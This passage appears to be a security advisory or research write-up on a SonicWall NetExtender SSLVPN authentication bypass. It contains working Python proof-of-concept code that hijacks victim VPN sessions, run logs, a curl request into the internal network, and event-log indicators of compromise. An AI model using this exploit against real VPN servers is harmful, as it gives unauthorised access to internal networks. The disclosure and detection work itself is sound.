'noauth', 'nomp', 'usepeerdns', ] def run(self): master, slave = pty.openpty() self.pty = master try: self.pppd = subprocess.Popen(['pppd'] + self.pppargs, stdin = slave, stdout = slave, stderr = subprocess.PIPE) except OSError as e: logging.error("Unable to start pppd: %s" % e.strerror) sys.exit(1) os.close(slave) self.tunsock = sslconn.SSLTunnel(self.session_id, self.options, self.options.server, self.options.port) self.pty = master def sigint_twice(*args): logging.info('caught SIGINT again, killing pppd') self.pppd.send_signal(signal.SIGKILL) def sigint(*args): logging.info('caught SIGINT, signalling pppd') self.killing_pppd = True self.pppd.send_signal(signal.SIGTERM) signal.signal(signal.SIGINT, sigint_twice) os.kill(os.getpid(), signal.SIGHUP) # break out of select() old_sigint = signal.signal(signal.SIGINT, sigint) signal.signal(signal.SIGHUP, signal.SIG_IGN) signal.signal(signal.SIGWINCH, signal.SIG_IGN) try: while self.pppd.poll() is None: stop = self._pump() if stop: break except ssl.SSLZeroReturnError: logging.info("Victim reconnected automatically") except ssl.SSLError as e: # unexpected logging.exception(e) except socket.error as e: # expected (peer disconnect) logging.error(e.strerror) finally: code = self.pppd.poll() if code is not None: # pppd caused termination logger = logging.error if getattr(self, 'killing_pppd', False) and code == 5: logger = logging.info logger("pppd exited with code %d" % code) if code in [2, 3]: logging.warn("Are you root? You almost certainly need to be root") else: self.pppd.send_signal(signal.SIGHUP) logging.info("Booted off VPN...") os.close(self.pty) self.pppd.wait() signal.signal(signal.SIGINT, old_sigint) self.tunsock.close() def _pump(self): r_set = [self.tunsock, self.pppd.stderr] w_set = [] # If the SSL tunnel is blocked on writes, apply backpressure (stop reading from pppd) if self.tunsock.writes_pending: w_set.append(self.tunsock) else: r_set.append(self.pty) try: r, w, x = select.select(r_set, w_set, []) except select.error: return True # interrupted if self.tunsock in r: self.tunsock.read_to(self.pty) if self.pty in r: stop = self.tunsock.write_from(self.pty) if stop: return stop if self.tunsock in w: self.tunsock.write_pump() if self.pppd.stderr in r: line = self.pppd.stderr.readline().strip().decode('utf-8', errors='replace') if self.options.show_ppp_log: print("pppd: %s" % line) if line.startswith("remote IP address"): remote_ip = line.split(' ')[-1] self.routecallback(remote_ip) # cat nxbender/sslconn.py import ssl import socket import hashlib import struct import logging import sys import os class SSLConnection(object): def __init__(self, options, host, port): self.options = options sock = socket.socket() sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) sock.connect((host, port)) pinning = getattr(options, 'fingerprint', False); context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE self.s = context.wrap_socket(sock) if pinning: if self.fingerprint != options.fingerprint.lower(): logging.error("Certificate fingerprint verification failed; server's fingerprint is %s" % self.fingerprint) sys.exit(1) @property def fingerprint(self): cert = self.s.getpeercert(True) raw = hashlib.sha1(cert).digest() if isinstance(raw, str): # py2 raw = map(ord, raw) return ':'.join(['%02x' % c for c in raw]) def print_fingerprint(host): conn = SSLConnection(None, host, 443) print("Server's certificate fingerprint: %s" % conn.fingerprint) class SSLTunnel(SSLConnection): def __init__(self, session_id, *args, **kwargs): super(SSLTunnel, self).__init__(*args, **kwargs) headers={ 'X-SSLVPN-PROTOCOL': '2.0', 'X-SSLVPN-SERVICE': 'NETEXTENDER', 'Proxy-Authorization': session_id, 'X-NX-Client-Platform': 'Linux', 'Connection-Medium': 'MacOS', 'X-NE-PROTOCOL': '2.0', 'Frame-Encode': 'off', } buf = 'CONNECT localhost:0 HTTP/1.0\r\n' buf += '\r\n'.join('%s: %s' % h for h in headers.items()) buf += '\r\n\r\n' self.s.sendall(buf.encode('ascii')) self.s.setblocking(0) self.buf = b'' self.wbuf = b'' def fileno(self): return self.s.fileno() def read_to(self, target_fd): while True: try: data = self.s.recv(8192) if len(data) == 0: return self._handle_data(data, target_fd) except ssl.SSLWantReadError: return def write_from(self, src_fd): try: data = os.read(src_fd, 8192) except OSError: return True # EOF from pppd self.write(data) def _handle_data(self, data, target): self.buf += data while len(self.buf) > 4: if self.buf[:4] == b'HTTP': # wait for entire line if needed if not b'\r\n' in self.buf: return lines = self.buf.split(b'\r\n') parts = lines[0].split(b' ', 3) logging.error('Server returned error: %s' % parts[-1].decode('utf-8', errors='replace')) sys.exit(1) plen, = struct.unpack('>L', self.buf[:4]) if len(self.buf) < 4 + plen: return os.write(target, self.buf[4:4+plen]) self.buf = self.buf[4+plen:] def write(self, data): self.wbuf += data self.write_pump() @property def writes_pending(self): return len(self.wbuf) > 0 def write_pump(self): while len(self.wbuf): packet = self.wbuf[:self.options.max_line] buf = struct.pack('>L', len(packet)) + packet self.s.sendall(buf) self.wbuf = self.wbuf[len(packet):] def close(self): self.s.close()
Let’s see this in action.
# nxBender -s 192.168.154.137 -P 4433 --swap 'uereprosechechoswahothospacapepY' INFO Skipping login >:) INFO Starting session... INFO Victim user = "john" INFO Domain name = "LocalDomain" INFO Dialing up tunnel... INFO Remote routing configured, VPN is up. You are “john”!
A few seconds after this happens, the victim’s client notices it has been kicked off and attempts to reconnect.
Our attacker system is then kicked off the VPN, so we play tug-of-war with the victim to re-establish access.
INFO Victim reconnected automatically INFO Booted off VPN... INFO Skipping login >:) INFO Starting session... INFO Dialing up tunnel... INFO Remote routing configured, VPN is up [..] INFO Victim reconnected automatically INFO Booted off VPN... INFO Skipping login >:) INFO Starting session... INFO Dialing up tunnel… INFO Remote routing configured, VPN is up [..]
While the “VPN is up” message is present, the attacker can send and receive packets on the internal network via the hijacked VPN connection. Below, the first curl
attempt to access the management interface during the “Booted off VPN…” status fails, but attempting it again while winning the tug-of-war succeeds.
$ curl 'https://192.168.168.168/' -k -v * Trying 192.168.168.168:443... ^C $ curl 'https://192.168.168.168/' -k <HTML> <HEAD><TITLE>Page Redirecting</TITLE> <META HTTP-EQUIV="Pragma" CONTENT="no-cache"> <META HTTP-EQUIV="Expires" CONTENT="-1"> </HEAD> <BODY onLoad="location.href = 'https://192.168.168.168/sonicui/7/login/';"> This page is redirecting! Click <A HREF="https://192.168.168.168/sonicui/7/login/">here</A> </BODY> </HTML>
Our proof-of-concept exploit establishes approximately 8-10 seconds of connectivity for every 2-3 seconds of absent connectivity. While this connection is a bit spotty, it’s plenty for an experienced red teamer to move laterally within the target internal network.
Some notes:
This tug-of-war activity is seen as user activity by the client and SSLVPN server, so the default 10 minute user inactivity logout will not take place.
During testing, we observed that the fancier-looking latest NetExtender client will automatically attempt to reconnect if the connection drops, keeping the session alive for tug-of-war. However, the older Java GUI client does not appear to automatically attempt to reconnect. Instead, it will automatically log out, immediately invalidating the stolen session cookie when we hijack the VPN connection. Because of this behavior, during testing, we only demonstrated sustained exploitation against a fake victim using the new client software. Despite this, it’s possible that this behavior could vary depending on the exploitation strategy, version of the server, and configuration of the server.
As noted in comments within the Python exploit, a helper script programmatically injects the target route via /etc/ppp/ip-up
for our PoC. However, this could likely be performed directly by the Python script for exploit portability.
Researchers at Bishop Fox reported the public exposure of NetExtender SSLVPN servers in 2024 to be higher than 250,000.
Our decryption of the SonicWall firmware was based on the following researchers’ work:
- https://www.praetorian.com/blog/sonicwall-custom-grub-luks-encryption/
- https://wzt.ac.cn/2024/09/05/CVE-2024-40766/
IOCs
Victim users that have their sessions reused for attacker access will be logged. Based on testing our proof-of-concept exploit, the presence of the event ID 1153 with a suspicious reuse number indicates exploitation.
For example, the message below is shown in user SSLVPN event logs after the user ‘john’ has been targeted with the authentication bypass.
ID: 1153 Event: SSL VPN Session Message Type: Simple Message String Message: “User john: Reuse SSLVPN session for the 62 time(s)”
The reuse number varies, but testing resulted in logged numbers that were typically higher than three, and sometimes in the hundreds or thousands.
This IOC might not apply if a stealthy attacker cycles different sessions to keep these logged numbers under a normal threshold. An obvious challenge with that would be that different hijacked users could have the ability to access different network resources. For that reason, this attack pattern would likely be more challenging to operate under.